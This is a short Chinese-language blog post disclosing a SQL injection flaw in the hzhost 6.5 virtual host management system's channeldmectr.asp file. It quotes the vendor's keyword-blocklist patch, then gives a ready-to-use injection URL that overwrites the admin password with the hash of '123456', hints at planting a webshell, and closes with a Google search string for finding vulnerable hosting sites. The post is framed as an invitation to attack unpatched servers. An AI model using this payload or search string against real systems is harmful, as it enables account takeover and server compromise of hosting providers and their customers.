hzhost6.5 华众虚拟主机管理系统SQL漏洞

作者:hack1990 时间:11-10-10 阅读数:686人阅读

这次漏洞出在channeldmectr.asp这个文件上,跟本就没有过滤任何参数. 

 
正好我这里有正版的补丁,打开看下了,打上补丁的channeldmectr.asp文件在第21行到第40行,增加了以下代码: 
 
 
 
 程序代码Function SafeRequest(ParaName) 
 
Dim ParaValue 
 
ParaValue=Request(ParaName) 
 
if IsNumeric(ParaValue) then 
 
SafeRequest=ParaValue 
 
exit Function 
 
else 
 
ParaValuetemp=lcase(ParaValue) 
 
tempvalue="select|insert|delete|union| 
 
join|script|applet|object|’|drop|update|truncate| 
 
create|xp_cmdshell|exec|alter|cast|rename|modify” 
 
temps=split(tempvalue,”|”) 
 
for mycount=0 to ubound(temps) 
 
if Instr(ParaValuetemp,temps(mycount)) > 0 and lcase(ParaName)<>”module” then 
 
call errorpage(-2,”您提交的内容包含了字符["&temps(mycount)&"],请去除后重新提交或联系我们…”) 
 
response.end 
 
end if 
 
next 
 
SafeRequest=ParaValue 
 
end if 
 
End function 
 
代码的大概意思是对其中红色部分的参数进行过滤,禁止提交,防止执行构造好的SQL语句. 
 
利用方法如下: 
 
http://www.xxx.com/incs/channeldmectr.asp?domainname=1′);{我们构造的语句}– 
 
下面给出一个示范语句: 
 
http://www.xxx.com/incs/channeldmectr.asp?domainname=1′);Update [memlst] SET u_pss=’e10adc3949ba59abbe56e057f20f883e’ Where u_nme=’admin’– 
 
语句的意思是将管理员账号admin的密码改为123456. 
 
当然大家也可以灵活运用,构造其他语句,比如写一句话马进去之类的,这里省略. 
 
最后丢个关键词给大家,Google搜索inurl:pdtshw/hstshw会出来大批的使用华众平台的IDC站点..

发表评论